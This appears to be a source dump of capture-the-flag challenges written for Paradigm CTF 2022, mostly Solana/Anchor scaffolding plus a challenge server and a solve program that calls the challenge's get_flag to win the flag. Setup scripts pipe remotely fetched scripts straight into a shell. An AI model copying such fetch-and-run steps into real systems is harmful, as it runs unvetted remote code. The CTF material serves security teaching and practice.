├── README.md ├── otter-world ├── chall.tar.gz ├── clean.sh ├── client │ ├── framework │ ├── framework-solve │ │ ├── .gitignore │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ ├── solve │ │ │ ├── .gitignore │ │ │ ├── .prettierignore │ │ │ ├── Anchor.toml │ │ │ ├── Cargo.lock │ │ │ ├── Cargo.toml │ │ │ ├── migrations │ │ │ │ └── deploy.ts │ │ │ ├── package.json │ │ │ ├── programs │ │ │ │ └── solve │ │ │ │ │ ├── Cargo.toml │ │ │ │ │ ├── Xargo.toml │ │ │ │ │ └── src │ │ │ │ │ └── lib.rs │ │ │ ├── tests │ │ │ │ └── solve.ts │ │ │ ├── tsconfig.json │ │ │ └── yarn.lock │ │ └── src │ │ │ └── main.rs │ ├── run.sh │ └── setup.sh ├── framework-solve │ ├── .gitignore │ ├── Cargo.lock │ ├── Cargo.toml │ ├── solve │ │ ├── .gitignore │ │ ├── .prettierignore │ │ ├── Anchor.toml │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ ├── migrations │ │ │ └── deploy.ts │ │ ├── package.json │ │ ├── programs │ │ │ └── solve │ │ │ │ ├── Cargo.toml │ │ │ │ ├── Xargo.toml │ │ │ │ └── src │ │ │ │ └── lib.rs │ │ ├── tests │ │ │ └── solve.ts │ │ ├── tsconfig.json │ │ └── yarn.lock │ └── src │ │ └── main.rs ├── framework │ ├── .dockerignore │ ├── .gitignore │ ├── Cargo.lock │ ├── Cargo.toml │ ├── Dockerfile │ ├── chall │ │ ├── .gitignore │ │ ├── .prettierignore │ │ ├── Anchor.toml │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ ├── migrations │ │ │ └── deploy.ts │ │ ├── package.json │ │ ├── programs │ │ │ └── chall │ │ │ │ ├── Cargo.toml │ │ │ │ ├── Xargo.toml │ │ │ │ └── src │ │ │ │ └── lib.rs │ │ ├── tests │ │ │ └── chall.ts │ │ ├── tsconfig.json │ │ └── yarn.lock │ └── src │ │ └── main.rs ├── info.yml └── test │ ├── chall.tar.gz │ ├── client │ ├── framework-solve │ │ ├── .gitignore │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ ├── solve │ │ │ ├── .gitignore │ │ │ ├── .prettierignore │ │ │ ├── Anchor.toml │ │ │ ├── Cargo.lock │ │ │ ├── Cargo.toml │ │ │ ├── migrations │ │ │ │ └── deploy.ts │ │ │ ├── package.json │ │ │ ├── programs │ │ │ │ └── solve │ │ │ │ │ ├── Cargo.toml │ │ │ │ │ ├── Xargo.toml │ │ │ │ │ └── src │ │ │ │ │ └── lib.rs │ │ │ ├── tests │ │ │ │ └── solve.ts │ │ │ ├── tsconfig.json │ │ │ └── yarn.lock │ │ └── src │ │ │ └── main.rs │ ├── framework │ │ ├── .dockerignore │ │ ├── .gitignore │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ ├── Dockerfile │ │ ├── chall │ │ │ ├── .gitignore │ │ │ ├── .prettierignore │ │ │ ├── Anchor.toml │ │ │ ├── Cargo.lock │ │ │ ├── Cargo.toml │ │ │ ├── migrations │ │ │ │ └── deploy.ts │ │ │ ├── package.json │ │ │ ├── programs │ │ │ │ └── chall │ │ │ │ │ ├── Cargo.toml │ │ │ │ │ ├── Xargo.toml │ │ │ │ │ └── src │ │ │ │ │ └── lib.rs │ │ │ ├── tests │ │ │ │ └── chall.ts │ │ │ ├── tsconfig.json │ │ │ └── yarn.lock │ │ └── src │ │ │ └── main.rs │ ├── run.sh │ └── setup.sh │ └── test.sh └── otterswap ├── chall.tar.gz ├── clean.sh ├── client ├── framework ├── framework-solve │ ├── .gitignore │ ├── Cargo.lock │ ├── Cargo.toml │ ├── solve │ │ ├── .gitignore │ │ ├── .prettierignore │ │ ├── Anchor.toml │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ ├── migrations │ │ │ └── deploy.ts │ │ ├── package.json │ │ ├── programs │ │ │ └── solve │ │ │ │ ├── Cargo.toml │ │ │ │ ├── Xargo.toml │ │ │ │ └── src │ │ │ │ └── lib.rs │ │ ├── tests │ │ │ └── solve.ts │ │ ├── tsconfig.json │ │ └── yarn.lock │ └── src │ │ └── main.rs ├── run.sh └── setup.sh ├── framework-solve ├── .gitignore ├── Cargo.lock ├── Cargo.toml ├── solve │ ├── .gitignore │ ├── .prettierignore │ ├── Anchor.toml │ ├── Cargo.lock │ ├── Cargo.toml │ ├── migrations │ │ └── deploy.ts │ ├── package.json │ ├── programs │ │ └── solve │ │ │ ├── Cargo.toml │ │ │ ├── Xargo.toml │ │ │ └── src │ │ │ └── lib.rs │ ├── tests │ │ └── solve.ts │ ├── tsconfig.json │ └── yarn.lock ├── src │ └── main.rs └── test.js ├── framework ├── .dockerignore ├── .gitignore ├── Cargo.lock ├── Cargo.toml ├── Dockerfile ├── chall │ ├── .gitignore │ ├── .prettierignore │ ├── Anchor.toml │ ├── Cargo.lock │ ├── Cargo.toml │ ├── migrations │ │ └── deploy.ts │ ├── package.json │ ├── programs │ │ └── chall │ │ │ ├── Cargo.toml │ │ │ ├── Xargo.toml │ │ │ └── src │ │ │ └── lib.rs │ ├── tests │ │ └── chall.ts │ ├── tsconfig.json │ └── yarn.lock └── src │ └── main.rs ├── info.yml └── test ├── chall.tar.gz ├── client ├── framework-solve │ ├── .gitignore │ ├── Cargo.lock │ ├── Cargo.toml │ ├── solve │ │ ├── .gitignore │ │ ├── .prettierignore │ │ ├── Anchor.toml │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ ├── migrations │ │ │ └── deploy.ts │ │ ├── package.json │ │ ├── programs │ │ │ └── solve │ │ │ │ ├── Cargo.toml │ │ │ │ ├── Xargo.toml │ │ │ │ └── src │ │ │ │ └── lib.rs │ │ ├── tests │ │ │ └── solve.ts │ │ ├── tsconfig.json │ │ └── yarn.lock │ └── src │ │ └── main.rs ├── framework │ ├── .dockerignore │ ├── .gitignore │ ├── Cargo.lock │ ├── Cargo.toml │ ├── Dockerfile │ ├── chall │ │ ├── .gitignore │ │ ├── .prettierignore │ │ ├── Anchor.toml │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ ├── migrations │ │ │ └── deploy.ts │ │ ├── package.json │ │ ├── programs │ │ │ └── chall │ │ │ │ ├── Cargo.toml │ │ │ │ ├── Xargo.toml │ │ │ │ └── src │ │ │ │ └── lib.rs │ │ ├── tests │ │ │ └── chall.ts │ │ ├── tsconfig.json │ │ └── yarn.lock │ └── src │ │ └── main.rs ├── run.sh └── setup.sh └── test.sh /README.md: -------------------------------------------------------------------------------- 1 | # paradigm-ctf-2022 2 | 3 | Challenges I wrote for [Paradigm CTF 2022](https://ctf.paradigm.xyz/). 4 | -------------------------------------------------------------------------------- /otter-world/chall.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chen-robert/paradigm-ctf-2022/38e98d94963d56b459efd96da163c17bd83dc131/otter-world/chall.tar.gz -------------------------------------------------------------------------------- /otter-world/clean.sh: -------------------------------------------------------------------------------- 1 | cd framework && cargo clean && cd chall && cargo clean && cd ../../framework-solve && cargo clean && cd solve && cargo clean && cd ../.. 2 | -------------------------------------------------------------------------------- /otter-world/client/framework: -------------------------------------------------------------------------------- 1 | ../framework -------------------------------------------------------------------------------- /otter-world/client/framework-solve/.gitignore: -------------------------------------------------------------------------------- 1 | target 2 | -------------------------------------------------------------------------------- /otter-world/client/framework-solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve-framework" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-program = "*" 10 | spl-token = "*" 11 | solve = { path="./solve/programs/solve", features = ["no-entrypoint"]} 12 | chall = { path="../framework/chall/programs/chall", features = ["no-entrypoint"]} 13 | -------------------------------------------------------------------------------- /otter-world/client/framework-solve/solve/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | **/*.rs.bk 6 | node_modules 7 | test-ledger 8 | -------------------------------------------------------------------------------- /otter-world/client/framework-solve/solve/.prettierignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | node_modules 6 | dist 7 | build 8 | test-ledger 9 | -------------------------------------------------------------------------------- /otter-world/client/framework-solve/solve/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | solve = "Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS" 5 | 6 | [registry] 7 | url = "https://anchor.projectserum.com" 8 | 9 | [provider] 10 | cluster = "localnet" 11 | wallet = "/root/.config/solana/id.json" 12 | 13 | [scripts] 14 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 15 | -------------------------------------------------------------------------------- /otter-world/client/framework-solve/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /otter-world/client/framework-solve/solve/migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | }; 13 | -------------------------------------------------------------------------------- /otter-world/client/framework-solve/solve/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "lint:fix": "prettier */*.js \"*/**/*{.js,.ts}\" -w", 4 | "lint": "prettier */*.js \"*/**/*{.js,.ts}\" --check" 5 | }, 6 | "dependencies": { 7 | "@project-serum/anchor": "^0.24.2" 8 | }, 9 | "devDependencies": { 10 | "chai": "^4.3.4", 11 | "mocha": "^9.0.3", 12 | "ts-mocha": "^8.0.0", 13 | "@types/bn.js": "^5.1.0", 14 | "@types/chai": "^4.3.0", 15 | "@types/mocha": "^9.0.0", 16 | "typescript": "^4.3.5", 17 | "prettier": "^2.6.2" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /otter-world/client/framework-solve/solve/programs/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "solve" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [profile.release] 19 | overflow-checks = true 20 | opt-level = 3 21 | incremental = false 22 | codegen-units = 1 23 | 24 | [dependencies] 25 | anchor-lang = "0.24.2" 26 | anchor-spl = "0.24.2" 27 | chall = { path = "../../../../framework/chall/programs/chall", features = ["cpi"]} 28 | -------------------------------------------------------------------------------- /otter-world/client/framework-solve/solve/programs/solve/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /otter-world/client/framework-solve/solve/programs/solve/src/lib.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | 3 | use anchor_spl::token::{Token, TokenAccount}; 4 | 5 | declare_id!("osecio1111111111111111111111111111111111111"); 6 | 7 | #[program] 8 | pub mod solve { 9 | use super::*; 10 | 11 | pub fn get_flag(ctx: Context) -> Result<()> { 12 | 13 | let cpi_accounts = chall::cpi::accounts::GetFlag { 14 | flag: ctx.accounts.flag.clone(), 15 | payer: ctx.accounts.payer.to_account_info(), 16 | system_program: ctx.accounts.system_program.to_account_info(), 17 | rent: ctx.accounts.rent.to_account_info(), 18 | }; 19 | 20 | let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts); 21 | 22 | chall::cpi::get_flag(cpi_ctx, 0x1337 /* TODO */)?; 23 | 24 | Ok(()) 25 | } 26 | } 27 | 28 | #[derive(Accounts)] 29 | pub struct GetFlag<'info> { 30 | #[account(mut)] 31 | pub flag: AccountInfo<'info>, 32 | #[account(mut)] 33 | pub payer: Signer<'info>, 34 | 35 | pub system_program: Program<'info, System>, 36 | pub token_program: Program<'info, Token>, 37 | pub rent: Sysvar<'info, Rent>, 38 | pub chall: Program<'info, chall::program::Chall> 39 | } 40 | -------------------------------------------------------------------------------- /otter-world/client/framework-solve/solve/tests/solve.ts: -------------------------------------------------------------------------------- 1 | import * as anchor from "@project-serum/anchor"; 2 | import { Program } from "@project-serum/anchor"; 3 | import { Solve } from "../target/types/solve"; 4 | 5 | describe("solve", () => { 6 | // Configure the client to use the local cluster. 7 | anchor.setProvider(anchor.AnchorProvider.env()); 8 | 9 | const program = anchor.workspace.Solve as Program; 10 | 11 | it("Is initialized!", async () => { 12 | // Add your test here. 13 | const tx = await program.methods.initialize().rpc(); 14 | console.log("Your transaction signature", tx); 15 | }); 16 | }); 17 | -------------------------------------------------------------------------------- /otter-world/client/framework-solve/solve/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "types": ["mocha", "chai"], 4 | "typeRoots": ["./node_modules/@types"], 5 | "lib": ["es2015"], 6 | "module": "commonjs", 7 | "target": "es6", 8 | "esModuleInterop": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /otter-world/client/framework-solve/src/main.rs: -------------------------------------------------------------------------------- 1 | use chall::anchor_lang::{InstructionData, ToAccountMetas}; 2 | use chall::FLAG_SEED; 3 | use solana_program::pubkey::Pubkey; 4 | use std::net::TcpStream; 5 | use std::{error::Error, fs, io::prelude::*, io::BufReader, str::FromStr}; 6 | 7 | fn get_line(reader: &mut BufReader) -> Result> { 8 | let mut line = String::new(); 9 | reader.read_line(&mut line)?; 10 | 11 | let ret = line 12 | .split(':') 13 | .nth(1) 14 | .ok_or("invalid input")? 15 | .trim() 16 | .to_string(); 17 | 18 | println!("{:?}", ret); 19 | 20 | Ok(ret) 21 | } 22 | 23 | fn main() -> Result<(), Box> { 24 | let mut stream = TcpStream::connect("127.0.0.1:8080")?; 25 | let mut reader = BufReader::new(stream.try_clone().unwrap()); 26 | 27 | let mut line = String::new(); 28 | 29 | let so_data = fs::read("./solve/target/deploy/solve.so")?; 30 | 31 | reader.read_line(&mut line)?; 32 | writeln!(stream, "{}", solve::ID)?; 33 | reader.read_line(&mut line)?; 34 | writeln!(stream, "{}", so_data.len())?; 35 | stream.write_all(&so_data)?; 36 | 37 | let chall_id = chall::ID; 38 | 39 | let user = Pubkey::from_str(&get_line(&mut reader)?)?; 40 | 41 | let ix = solve::instruction::GetFlag {}; 42 | let data = ix.data(); 43 | 44 | let flag = Pubkey::find_program_address(&[FLAG_SEED], &chall_id).0; 45 | let ix_accounts = solve::accounts::GetFlag { 46 | flag, 47 | payer: user, 48 | token_program: spl_token::ID, 49 | chall: chall_id, 50 | system_program: solana_program::system_program::ID, 51 | rent: solana_program::sysvar::rent::ID 52 | }; 53 | 54 | let metas = ix_accounts.to_account_metas(None); 55 | 56 | reader.read_line(&mut line)?; 57 | writeln!(stream, "{}", metas.len())?; 58 | for meta in metas { 59 | let mut meta_str = String::new(); 60 | meta_str.push('m'); 61 | if meta.is_writable { 62 | meta_str.push('w'); 63 | } 64 | if meta.is_signer { 65 | meta_str.push('s'); 66 | } 67 | meta_str.push(' '); 68 | meta_str.push_str(&meta.pubkey.to_string()); 69 | 70 | writeln!(stream, "{}", meta_str)?; 71 | stream.flush()?; 72 | } 73 | 74 | reader.read_line(&mut line)?; 75 | writeln!(stream, "{}", data.len())?; 76 | stream.write_all(&data)?; 77 | 78 | stream.flush()?; 79 | 80 | line.clear(); 81 | while reader.read_line(&mut line)? != 0 { 82 | print!("{}", line); 83 | line.clear(); 84 | } 85 | 86 | Ok(()) 87 | } 88 | -------------------------------------------------------------------------------- /otter-world/client/run.sh: -------------------------------------------------------------------------------- 1 | cd framework-solve/solve && cargo build-bpf 2 | cd .. 3 | cargo r --release 4 | -------------------------------------------------------------------------------- /otter-world/client/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | curl https://run.osec.io/solana | sh 4 | -------------------------------------------------------------------------------- /otter-world/framework-solve/.gitignore: -------------------------------------------------------------------------------- 1 | target 2 | -------------------------------------------------------------------------------- /otter-world/framework-solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve-framework" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-program = "*" 10 | spl-token = "*" 11 | solve = { path="./solve/programs/solve", features = ["no-entrypoint"]} 12 | chall = { path="../framework/chall/programs/chall", features = ["no-entrypoint"]} 13 | -------------------------------------------------------------------------------- /otter-world/framework-solve/solve/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | **/*.rs.bk 6 | node_modules 7 | test-ledger 8 | -------------------------------------------------------------------------------- /otter-world/framework-solve/solve/.prettierignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | node_modules 6 | dist 7 | build 8 | test-ledger 9 | -------------------------------------------------------------------------------- /otter-world/framework-solve/solve/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | solve = "Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS" 5 | 6 | [registry] 7 | url = "https://anchor.projectserum.com" 8 | 9 | [provider] 10 | cluster = "localnet" 11 | wallet = "/root/.config/solana/id.json" 12 | 13 | [scripts] 14 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 15 | -------------------------------------------------------------------------------- /otter-world/framework-solve/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /otter-world/framework-solve/solve/migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | }; 13 | -------------------------------------------------------------------------------- /otter-world/framework-solve/solve/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "lint:fix": "prettier */*.js \"*/**/*{.js,.ts}\" -w", 4 | "lint": "prettier */*.js \"*/**/*{.js,.ts}\" --check" 5 | }, 6 | "dependencies": { 7 | "@project-serum/anchor": "^0.24.2" 8 | }, 9 | "devDependencies": { 10 | "chai": "^4.3.4", 11 | "mocha": "^9.0.3", 12 | "ts-mocha": "^8.0.0", 13 | "@types/bn.js": "^5.1.0", 14 | "@types/chai": "^4.3.0", 15 | "@types/mocha": "^9.0.0", 16 | "typescript": "^4.3.5", 17 | "prettier": "^2.6.2" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /otter-world/framework-solve/solve/programs/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "solve" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [profile.release] 19 | overflow-checks = true 20 | opt-level = 3 21 | incremental = false 22 | codegen-units = 1 23 | 24 | [dependencies] 25 | anchor-lang = "0.24.2" 26 | anchor-spl = "0.24.2" 27 | chall = { path = "../../../../framework/chall/programs/chall", features = ["cpi"]} 28 | -------------------------------------------------------------------------------- /otter-world/framework-solve/solve/programs/solve/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /otter-world/framework-solve/solve/programs/solve/src/lib.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | 3 | use anchor_spl::token::{Token, TokenAccount}; 4 | 5 | declare_id!("osecio1111111111111111111111111111111111111"); 6 | 7 | #[program] 8 | pub mod solve { 9 | use super::*; 10 | 11 | pub fn get_flag(ctx: Context) -> Result<()> { 12 | 13 | let cpi_accounts = chall::cpi::accounts::GetFlag { 14 | flag: ctx.accounts.flag.clone(), 15 | payer: ctx.accounts.payer.to_account_info(), 16 | system_program: ctx.accounts.system_program.to_account_info(), 17 | rent: ctx.accounts.rent.to_account_info(), 18 | }; 19 | 20 | let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts); 21 | 22 | chall::cpi::get_flag(cpi_ctx, 0x1337 * 0x7331)?; 23 | 24 | Ok(()) 25 | } 26 | } 27 | 28 | #[derive(Accounts)] 29 | pub struct GetFlag<'info> { 30 | #[account(mut)] 31 | pub flag: AccountInfo<'info>, 32 | #[account(mut)] 33 | pub payer: Signer<'info>, 34 | 35 | pub system_program: Program<'info, System>, 36 | pub token_program: Program<'info, Token>, 37 | pub rent: Sysvar<'info, Rent>, 38 | pub chall: Program<'info, chall::program::Chall> 39 | } 40 | -------------------------------------------------------------------------------- /otter-world/framework-solve/solve/tests/solve.ts: -------------------------------------------------------------------------------- 1 | import * as anchor from "@project-serum/anchor"; 2 | import { Program } from "@project-serum/anchor"; 3 | import { Solve } from "../target/types/solve"; 4 | 5 | describe("solve", () => { 6 | // Configure the client to use the local cluster. 7 | anchor.setProvider(anchor.AnchorProvider.env()); 8 | 9 | const program = anchor.workspace.Solve as Program; 10 | 11 | it("Is initialized!", async () => { 12 | // Add your test here. 13 | const tx = await program.methods.initialize().rpc(); 14 | console.log("Your transaction signature", tx); 15 | }); 16 | }); 17 | -------------------------------------------------------------------------------- /otter-world/framework-solve/solve/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "types": ["mocha", "chai"], 4 | "typeRoots": ["./node_modules/@types"], 5 | "lib": ["es2015"], 6 | "module": "commonjs", 7 | "target": "es6", 8 | "esModuleInterop": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /otter-world/framework-solve/src/main.rs: -------------------------------------------------------------------------------- 1 | use chall::anchor_lang::{InstructionData, ToAccountMetas}; 2 | use chall::FLAG_SEED; 3 | use solana_program::pubkey::Pubkey; 4 | use std::net::TcpStream; 5 | use std::{error::Error, fs, io::prelude::*, io::BufReader, str::FromStr}; 6 | 7 | fn get_line(reader: &mut BufReader) -> Result> { 8 | let mut line = String::new(); 9 | reader.read_line(&mut line)?; 10 | 11 | let ret = line 12 | .split(':') 13 | .nth(1) 14 | .ok_or("invalid input")? 15 | .trim() 16 | .to_string(); 17 | 18 | Ok(ret) 19 | } 20 | 21 | fn main() -> Result<(), Box> { 22 | let mut stream = TcpStream::connect("127.0.0.1:8080")?; 23 | let mut reader = BufReader::new(stream.try_clone().unwrap()); 24 | 25 | let mut line = String::new(); 26 | 27 | let so_data = fs::read("./solve/target/deploy/solve.so")?; 28 | 29 | reader.read_line(&mut line)?; 30 | writeln!(stream, "{}", solve::ID)?; 31 | reader.read_line(&mut line)?; 32 | writeln!(stream, "{}", so_data.len())?; 33 | stream.write_all(&so_data)?; 34 | 35 | let chall_id = chall::ID; 36 | 37 | let user = Pubkey::from_str(&get_line(&mut reader)?)?; 38 | 39 | let ix = solve::instruction::GetFlag {}; 40 | let data = ix.data(); 41 | 42 | let flag = Pubkey::find_program_address(&[FLAG_SEED], &chall_id).0; 43 | let ix_accounts = solve::accounts::GetFlag { 44 | flag, 45 | payer: user, 46 | token_program: spl_token::ID, 47 | chall: chall_id, 48 | system_program: solana_program::system_program::ID, 49 | rent: solana_program::sysvar::rent::ID 50 | }; 51 | 52 | let metas = ix_accounts.to_account_metas(None); 53 | 54 | reader.read_line(&mut line)?; 55 | writeln!(stream, "{}", metas.len())?; 56 | for meta in metas { 57 | let mut meta_str = String::new(); 58 | meta_str.push('m'); 59 | if meta.is_writable { 60 | meta_str.push('w'); 61 | } 62 | if meta.is_signer { 63 | meta_str.push('s'); 64 | } 65 | meta_str.push(' '); 66 | meta_str.push_str(&meta.pubkey.to_string()); 67 | 68 | writeln!(stream, "{}", meta_str)?; 69 | stream.flush()?; 70 | } 71 | 72 | reader.read_line(&mut line)?; 73 | writeln!(stream, "{}", data.len())?; 74 | stream.write_all(&data)?; 75 | 76 | stream.flush()?; 77 | 78 | line.clear(); 79 | while reader.read_line(&mut line)? != 0 { 80 | print!("{}", line); 81 | line.clear(); 82 | } 83 | 84 | Ok(()) 85 | } 86 | -------------------------------------------------------------------------------- /otter-world/framework/.dockerignore: -------------------------------------------------------------------------------- 1 | target 2 | chall/target 3 | !chall/target/deploy 4 | chall/.anchor 5 | chall/node_modules 6 | -------------------------------------------------------------------------------- /otter-world/framework/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /otter-world/framework/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "framework" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-program-test = "1.9.13" 10 | solana-program = "1.9.13" 11 | solana-logger = "1.9.13" 12 | solana-sdk = "1.9.13" 13 | spl-token = "3.3.0" 14 | chall = { path ="./chall/programs/chall", features = ["no-entrypoint"] } 15 | sol-ctf-framework = { git = "https://github.com/otter-sec/sol-ctf-framework", branch="rewrite-v2" } 16 | #sol-ctf-framework = { path="../../sol-ctf-framework" } 17 | threadpool = "1.8.1" 18 | -------------------------------------------------------------------------------- /otter-world/framework/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust@sha256:0372c87d4372dc1ae23caaf287f643f7c5ca799b40405efbb1bdf67588cc2629 2 | 3 | RUN apt-get update && apt-get install -qy libudev-dev 4 | 5 | WORKDIR /app 6 | COPY Cargo.toml Cargo.lock ./ 7 | COPY src ./src 8 | 9 | COPY chall ./chall 10 | 11 | RUN cargo build --release 12 | 13 | RUN sh -c "$(curl -sSfL https://release.solana.com/v1.10.32/install)" 14 | ENV PATH="/root/.local/share/solana/install/active_release/bin:${PATH}" 15 | RUN cd chall && cargo build-bpf 16 | 17 | CMD [ "./target/release/framework" ] 18 | -------------------------------------------------------------------------------- /otter-world/framework/chall/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | **/*.rs.bk 6 | node_modules 7 | test-ledger 8 | -------------------------------------------------------------------------------- /otter-world/framework/chall/.prettierignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | node_modules 6 | dist 7 | build 8 | test-ledger 9 | -------------------------------------------------------------------------------- /otter-world/framework/chall/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | chall = "Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS" 5 | 6 | [registry] 7 | url = "https://anchor.projectserum.com" 8 | 9 | [provider] 10 | cluster = "localnet" 11 | wallet = "/root/.config/solana/id.json" 12 | 13 | [scripts] 14 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 15 | -------------------------------------------------------------------------------- /otter-world/framework/chall/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "ahash" 7 | version = "0.7.6" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "fcb51a0695d8f838b1ee009b3fbf66bda078cd64590202a864a8f3e8c4315c47" 10 | dependencies = [ 11 | "getrandom 0.2.7", 12 | "once_cell", 13 | "version_check", 14 | ] 15 | 16 | [[package]] 17 | name = "aho-corasick" 18 | version = "0.7.18" 19 | source = "registry+https://github.com/rust-lang/crates.io-index" 20 | checksum = "1e37cfd5e7657ada45f742d6e99ca5788580b5c529dc78faf11ece6dc702656f" 21 | dependencies = [ 22 | "memchr", 23 | ] 24 | 25 | [[package]] 26 | name = "anchor-attribute-access-control" 27 | version = "0.24.2" 28 | source = "registry+https://github.com/rust-lang/crates.io-index" 29 | checksum = "a9b75d05b6b4ac9d95bb6e3b786b27d3a708c4c5a87c92ffaa25bbe9ae4c5d91" 30 | dependencies = [ 31 | "anchor-syn", 32 | "anyhow", 33 | "proc-macro2", 34 | "quote", 35 | "regex", 36 | "syn", 37 | ] 38 | 39 | [[package]] 40 | name = "anchor-attribute-account" 41 | version = "0.24.2" 42 | source = "registry+https://github.com/rust-lang/crates.io-index" 43 | checksum = "485351a6d8157750d10d88c8e256f1bf8339262b2220ae9125aed3471309b5de" 44 | dependencies = [ 45 | "anchor-syn", 46 | "anyhow", 47 | "bs58 0.4.0", 48 | "proc-macro2", 49 | "quote", 50 | "rustversion", 51 | "syn", 52 | ] 53 | 54 | [[package]] 55 | name = "anchor-attribute-constant" 56 | version = "0.24.2" 57 | source = "registry+https://github.com/rust-lang/crates.io-index" 58 | checksum = "dc632c540913dd051a78b00587cc47f57013d303163ddfaf4fa18717f7ccc1e0" 59 | dependencies = [ 60 | "anchor-syn", 61 | "proc-macro2", 62 | "syn", 63 | ] 64 | 65 | [[package]] 66 | name = "anchor-attribute-error" 67 | version = "0.24.2" 68 | source = 